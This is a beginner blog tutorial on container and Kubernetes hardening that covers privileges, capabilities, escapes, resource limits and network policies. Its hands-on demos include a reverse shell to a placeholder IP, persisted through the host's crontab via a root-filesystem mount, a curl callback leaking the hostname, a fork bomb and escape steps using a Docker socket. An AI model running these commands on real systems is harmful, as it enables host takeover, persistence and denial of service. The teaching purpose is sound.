Container & Kubernetes Security: A Beginner's Guide to Not Getting Hacked

Table of contents
- Container Security Fundamentals
- Decoding Container Privileges: A Key to Security
- The Danger Zone: Privileged Containers
- Linux Capabilities: Fine-Tuning Container Permissions
- Preventing Container Escapes: Stay One Step Ahead
- Resource Limits: Preventing Container Chaos
- Kubernetes Security 101: Essential Practices
- Network Policies: Your Cluster's Firewall
- Security Tools and Best Practices
- Conclusion: Security is a Journey, Not a Destination
- Additional Resources

Remember the CrowdStrike outage? Yeah, let's avoid being the next headline.
Security isn't just a checkbox at the end of your deployment pipeline—it's the foundation everything else is built on. Whether you're running a simple containerized app or managing a complex Kubernetes cluster, understanding security fundamentals can save you from becoming tomorrow's cautionary tale.
In this comprehensive guide, we'll explore container and Kubernetes security through hands-on examples. By the end, you'll understand why mounting Docker sockets is like giving strangers the keys to your house, and how to sleep peacefully knowing your clusters are properly secured.
Container Security Fundamentals
Why Securing Your Containers is Non-Negotiable
More often than not, securing your infrastructure comes at a cost. Sometimes it might be malicious acts like DDoS attacks, data theft, cryptocurrency mining, or privilege escalation. The recent CrowdStrike outage that led to widespread system crashes and disruptions across numerous industries perfectly illustrates why security should be thought of from the beginning, not as an afterthought.
The Docker Socket: Your Gateway to Trouble
Let's start with a practical demonstration of how container security can go wrong. We'll simulate a common attack vector using reverse shells and cron jobs.
Setting Up the Attack Scenario
First, let's mount an Ubuntu container onto your host system and explore the filesystem:
docker run --rm -it -v /:/abcd ubuntu bash
ls -l /abcd/var/lib/docker
hostname # You'll see a random hash like c018e57bb1b7
Now we'll establish a reverse shell connection:
echo "bash -i >& /dev/tcp/<your-ip-address>/8888 0>&1" > /abcd/tmp/run.sh
chmod +x /abcd/tmp/run.sh
echo "* * * * * root bash /tmp/run.sh" >> /abcd/etc/crontab
echo '* * * * * root curl <your-ip-address>:8000/test/$(hostname)' >> /abcd/etc/crontab
Pro Tip: Visit crontab.guru to understand cron scheduling syntax.
On your server (or EC2 instance), listen for incoming connections:
nc -nlvp 8888
This demonstrates how mounting the Docker socket (/var/run/docker.sock
) can give attackers complete control over your host system.
Decoding Container Privileges: A Key to Security
Container security largely depends on understanding how user privileges work across the container boundary. Let's explore different scenarios:
Scenario 1: Root on Host & Root in Container
When you run a container normally, processes appear as root inside the container and on the host:
docker run --rm -it nginx bash
sleep 1d & # Run in background
Check the process from your host:
ps -ef | grep sleep # Shows root user
ls /proc/<PID>/ns # Shows container namespaces
Scenario 2: Non-Root Host User & Root in Container
This scenario is particularly dangerous:
# Add a user and give them Docker socket access
adduser yoshi
sudo chown yoshi:yoshi /var/run/docker.sock
su - yoshi
# Run container as yoshi user
docker run --rm -it nginx bash
sleep 2d &
Even though you're running as a non-root user, the process still runs with root privileges because Docker daemon runs as root. This is why Docker socket access is equivalent to root access.
Scenario 3: Limiting Container User Privileges
docker run --rm --user 1000:1000 -it nginx bash
sleep 3d &
This runs the container process as UID 1000, providing better security isolation.
Demonstrating File Access Control
Create a sensitive file:
echo "I'm root" > /tmp/groot.txt
chmod 0600 /tmp/groot.txt # Only root can read
su - ubuntu # Switch to non-root user
cat /tmp/groot.txt # Permission denied
Now test container access:
# With root container - can read the file
docker run --rm -it -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt
# With non-root container - permission denied
docker run --rm -it -u 1000:1000 -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt
Key Takeaway: When the user inside the container is non-root, even if the container gets compromised, the attacker cannot read mounted sensitive files without appropriate permissions.
The Danger Zone: Privileged Containers
Privileged containers have access to all host capabilities and can modify kernel parameters. Let's see how dangerous this can be:
# Check current swappiness value
cat /proc/sys/vm/swappiness
# Run privileged container and modify kernel parameter
docker run --rm --privileged -it ubuntu bash
echo 10 > /proc/sys/vm/swappiness
exit
# Check if host value changed
cat /proc/sys/vm/swappiness # Value is now 10!
Detecting Privileged Containers
Run these commands to identify if you're in a privileged container:
# Normal container
docker run --rm -it ubuntu bash
mount | grep 'ro,' # Should show read-only mounts
mount | grep /proc.*tmpfs # Should show proc restrictions
capsh --print # Shows limited capabilities
grep Seccomp /proc/1/status # Shows seccomp filtering
# Privileged container
docker run --rm --privileged -it ubuntu bash
# Same commands show fewer restrictions
Linux Capabilities: Fine-Tuning Container Permissions
Linux capabilities provide a middle ground between running as root and running as an unprivileged user. Instead of granting all root privileges, you can grant specific capabilities.
Understanding Capability Sets
# Check capabilities of a process
grep Cap /proc/self/status
capsh --decode=<hex-value>
# Compare different container types
docker run --rm -it ubuntu sleep 1d &
ps aux | grep sleep
grep Cap /proc/<pid>/status
docker run --rm --privileged -it ubuntu sleep 2d &
ps aux | grep sleep
grep Cap /proc/<pid>/status # More capabilities
docker run --rm --cap-drop=all -it ubuntu sleep 3d &
ps aux | grep sleep
grep Cap /proc/<pid>/status # Minimal capabilities
Capability Types Explained
CapEff: Effective capabilities (currently active)
CapPrm: Permitted capabilities (maximum allowed)
CapInh: Inherited capabilities (passed to child processes)
CapBnd: Bounding set (hard limit on capabilities)
CapAmb: Ambient capabilities (preserved across exec)
Key Capabilities to Understand
CAP_CHOWN: Change file ownership
CAP_DAC_OVERRIDE: Bypass file permission checks
CAP_SYS_ADMIN: Most powerful capability (manage cgroups, mount filesystems)
CAP_NET_RAW: Send raw network packets (needed for ping)
Practical Capability Examples
# This works - busybox has NET_RAW capability by default
docker run --rm -it busybox:1.28 ping google.com
# This fails - we dropped NET_RAW capability
docker run --rm --cap-drop=NET_RAW -it busybox:1.28 ping google.com
# Demonstrating CHOWN capability
docker run --rm -it ubuntu chown nobody /tmp # Works
docker run --rm -it --cap-drop=all ubuntu chown nobody /tmp # Fails
docker run --rm -it --cap-drop=all --cap-add=chown ubuntu chown nobody /tmp # Works
root
in prod.Preventing Container Escapes: Stay One Step Ahead
When containers are compromised, attackers often try to escape to the host system. Here's how they might do it:
The Docker Socket Attack
If an attacker gains access to your container and finds the Docker socket mounted, they can:
# Inside compromised container
find / -name docker.sock 2>/dev/null
# If Docker isn't installed, download it
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xvf docker-17.03.0-ce.tgz
cd docker
# If socket is at non-standard location
./docker -H unix:///custom/docker/docker.sock ps
./docker -H unix:///custom/docker/docker.sock images
Dangerous Host Namespaces
Avoid mounting these host namespaces:
hostPID: Access to all host processes
docker run --pid=host -it ubuntu ps aux # See all host processes
hostNetwork: Direct access to host networking
docker run --network=host -it ubuntu netstat -tulpn # See all host network connections
hostIPC: Access to inter-process communication
docker run --ipc=host -it ubuntu ls -la /dev/shm # Access host IPC
Resource Limits: Preventing Container Chaos
The Fork Bomb Demonstration
⚠️ WARNING: Only run this in isolated environments like Killercoda!
A fork bomb can crash your system by consuming all available resources:
:(){ :|:& };:
Demonstrating Resource Limits
- Without limits (dangerous):
docker run --name unlimited --rm -it ubuntu bash
# In another terminal: docker stats unlimited
# Run fork bomb - system will struggle
- With limits (safe):
docker run --name withlimits --rm -m 0.5Gi --cpus 0.8 -it ubuntu bash
# In another terminal: docker stats withlimits
# Fork bomb will be contained
Key Lesson: Always set resource limits to prevent DoS attacks and resource exhaustion.
If you want to learn more about the internals of a container and Isolation in the same system with unique namespaces.
You can check out my blogs:
Docker—diving deep inside a container
Chroot Into Linux Mint From Ubuntu — Like Containers, Without the Overhead
Kubernetes Security 101: Essential Practices
Service Account Token Management
- One common vulnerability is automatically mounting service account tokens:
# Find the automount field location
kubectl krew install fields # Install kubectl plugin
kubectl fields pods automount
# Output: spec.automountServiceAccountToken
- Disable automatic token mounting when not needed:
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
automountServiceAccountToken: false
containers:
- name: app
image: nginx
Network Policies: Your Cluster's Firewall
Network policies control traffic flow between pods, implementing microsegmentation in your cluster.
Example Scenario: Securing an API Server
- Create a simple API server:
kubectl run apiserver --image=nginx --labels="app=bookstore,role=api" --expose --port=80
- Apply a restrictive network policy:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-allow
spec:
podSelector:
matchLabels:
app: bookstore
role: api
ingress:
- from:
- podSelector:
matchLabels:
app: bookstore
Testing Network Policies
- Test that traffic is blocked from unauthorized pods:
kubectl run test-$RANDOM --rm -i -t --image=alpine -- sh
# Inside pod: wget -qO- --timeout=2 http://apiserver
# Should timeout - traffic blocked!
- Test that traffic is allowed from authorized pods:
kubectl run test-$RANDOM --rm -i -t --image=alpine --labels="app=bookstore,role=frontend" -- sh
# Inside pod: wget -qO- --timeout=2 http://apiserver
# Should work - traffic allowed!
Network Policy Best Practices
Default Deny: Start with denying all traffic, then explicitly allow what's needed
Namespace Isolation: Use namespaces to create security boundaries
Least Privilege: Only allow the minimum required connectivity
Documentation: Clearly document your network policy intentions
Security Tools and Best Practices
Essential Security Tools
Trivy: Comprehensive vulnerability scanner
trivy image nginx:latest
trivy fs .
Dive: Explore Docker image layers
dive nginx:latest
Dockle: Dockerfile security linter
dockle nginx:latest
Falco: Runtime security monitoring
# Example Falco rule
- rule: Detect Shell in Container
desc: Detect shell execution in container
condition: >
spawned_process and container and
(proc.name in (shell_binaries))
output: >
Shell spawned in container
(user=%user.name container=%container.name shell=%proc.name)
priority: WARNING
I will not be covering these in this blog maybe some other time ;)
Security Checklist
Container Security
Run containers as non-root users
Use minimal base images (distroless, Alpine)
Set resource limits (CPU, memory)
Drop unnecessary capabilities
Avoid privileged containers
Never mount Docker socket
Scan images for vulnerabilities
Use read-only root filesystems when possible
Kubernetes Security
Enable RBAC and use least privilege
Disable automounting service account tokens when unnecessary
Implement network policies
Use Pod Security Standards
Regularly update Kubernetes and node OS
Enable audit logging
Secure etcd with encryption at rest
Use admission controllers (OPA/Gatekeeper)
Conclusion: Security is a Journey, Not a Destination
Container and Kubernetes security might seem overwhelming at first, but remember: every security measure you implement makes your infrastructure more resilient. Start with the basics—running containers as non-root users, setting resource limits, and implementing network policies—then gradually add more advanced protections.
The key lessons from this guide:
Never mount the Docker socket unless absolutely necessary and properly secured
Privileged containers are dangerous and should be avoided in production
Linux capabilities provide fine-grained permission control
Resource limits prevent DoS attacks and resource exhaustion
Network policies are essential for cluster microsegmentation
Security tools help identify vulnerabilities before they become problems
Remember, security is not about perfection—it's about making your systems harder to compromise than easier targets. Every layer of security you add forces attackers to work harder and increases the chance they'll move on to easier prey.
Additional Resources
Found this helpful? Share it with your team and help make the cloud-native world a little more secure! 🚀
Connect with me:
#Kubernetes #Security #CloudNative #DevOps # DevSecOps #K8sTips #LearningInPublic #ContainerSecurity
"In security, there are no final victories, only vigilant preparation for the next challenge."
Stay secure, stay learning! 🛡️
Subscribe to my newsletter
Read articles from Yash Pal directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Yash Pal
Yash Pal
Hey I am a budding developer who is passionate to learn tech and explore the domains Computer Science has to offer. I also like to contribute to Open Source, help others and also learn from seasoned engineers in the process.